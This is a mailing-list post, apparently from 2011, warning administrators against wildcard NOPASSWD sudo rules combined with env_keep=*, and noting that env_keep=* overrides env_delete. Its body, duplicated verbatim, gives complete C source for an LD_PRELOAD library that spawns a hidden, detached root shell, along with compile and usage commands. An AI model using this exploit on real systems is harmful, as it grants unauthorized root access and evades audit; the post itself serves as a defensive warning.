Doug Huff
2011-07-19 02:45:41 UTC
Think out your rules. Please. Test them! Try to break them yourselves!
This isn't really disclosure but I think this list has an audience that this is appropriate for.
Please think twice about adding wildcard (as in, all users, or effectively all users that will be logging into a machine) sudo rules of the form:
%hugegroup = (root) NOPASSWD: /some/stupid/logging/script
Especially when you also have this in sudoers!:
Defaults .* env_keep=*, .*
There are better ways to accomplish whatever you're trying to accomplish.
What you are doing is broken by design.
This is why:
==BEGIN lol.c==
/*
gcc -std=c89 -pedantic -shared -fPIC -o lol.so lol.c
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
char *getenv(const char *name) {
long lol;
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");
if((lol = fork()) == 0) {
setsid();
umask(0000);
mkfifo("test-in",0666);
mkfifo("test-out",0666);
for (lol=getdtablesize();lol>=0;--lol) close(lol);
open("test-in",O_RDONLY);
while(open("test-out",O_WRONLY|O_APPEND) == -1) { sleep(1); }
dup(1);
chdir("/");
execl("/bin/bash","-bash","-",(char *)NULL);
}
else exit(0);
return NULL;
}
==END lol.c==
Usage:
sudo LD_PRELOAD=lol.so /some/stupid/logging/script
tail -f test-out &
while IFS=$'\n\n\n' read line; do echo "$line" done >> test-in
Now your users who you just wanted to log something about have a root shell without a prompt that is not associated with their tty and looks like the command they're authorized to run in the process list. Except the calling sudo process is dead and you can't tell who started it without fuser/lsof. From the running system; anyways, it will be in the sudo logs assuming they're remote or the abusive user didn't think to clean them up, bad assumptions are what got you here in the first place, though aren't they?
Good job.
Yes I know there are simpler ways to abuse this. (eg, setuid a given file)
Also, while mucking with this, it made me realize an interesting side note about the sudo code:
env_keep=* overrides anything and everything in env_delete.
Even if env_delete is set after env_keep.
Even if env_reset is defined.
This is more an unexpected behavior than anything.
You shouldn't be using env_keep=* in Defaults on a machine where you're giving "untrusted" users a (root) NOPASSWD: rule to work from. Hell, you shouldn't be giving "untrusted" users a (root) NOPASSWD: rule *PERIOD*. For that matter, I can't think of a valid reason to be using env_keep=*. That's just a lazy admin problem, not a sudo problem.
This isn't really disclosure but I think this list has an audience that this is appropriate for.
Please think twice about adding wildcard (as in, all users, or effectively all users that will be logging into a machine) sudo rules of the form:
%hugegroup = (root) NOPASSWD: /some/stupid/logging/script
Especially when you also have this in sudoers!:
Defaults .* env_keep=*, .*
There are better ways to accomplish whatever you're trying to accomplish.
What you are doing is broken by design.
This is why:
==BEGIN lol.c==
/*
gcc -std=c89 -pedantic -shared -fPIC -o lol.so lol.c
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
char *getenv(const char *name) {
long lol;
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");
if((lol = fork()) == 0) {
setsid();
umask(0000);
mkfifo("test-in",0666);
mkfifo("test-out",0666);
for (lol=getdtablesize();lol>=0;--lol) close(lol);
open("test-in",O_RDONLY);
while(open("test-out",O_WRONLY|O_APPEND) == -1) { sleep(1); }
dup(1);
chdir("/");
execl("/bin/bash","-bash","-",(char *)NULL);
}
else exit(0);
return NULL;
}
==END lol.c==
Usage:
sudo LD_PRELOAD=lol.so /some/stupid/logging/script
tail -f test-out &
while IFS=$'\n\n\n' read line; do echo "$line" done >> test-in
Now your users who you just wanted to log something about have a root shell without a prompt that is not associated with their tty and looks like the command they're authorized to run in the process list. Except the calling sudo process is dead and you can't tell who started it without fuser/lsof. From the running system; anyways, it will be in the sudo logs assuming they're remote or the abusive user didn't think to clean them up, bad assumptions are what got you here in the first place, though aren't they?
Good job.
Yes I know there are simpler ways to abuse this. (eg, setuid a given file)
Also, while mucking with this, it made me realize an interesting side note about the sudo code:
env_keep=* overrides anything and everything in env_delete.
Even if env_delete is set after env_keep.
Even if env_reset is defined.
This is more an unexpected behavior than anything.
You shouldn't be using env_keep=* in Defaults on a machine where you're giving "untrusted" users a (root) NOPASSWD: rule to work from. Hell, you shouldn't be giving "untrusted" users a (root) NOPASSWD: rule *PERIOD*. For that matter, I can't think of a valid reason to be using env_keep=*. That's just a lazy admin problem, not a sudo problem.
--
Douglas Huff
--
Douglas Huff
Douglas Huff
--
Douglas Huff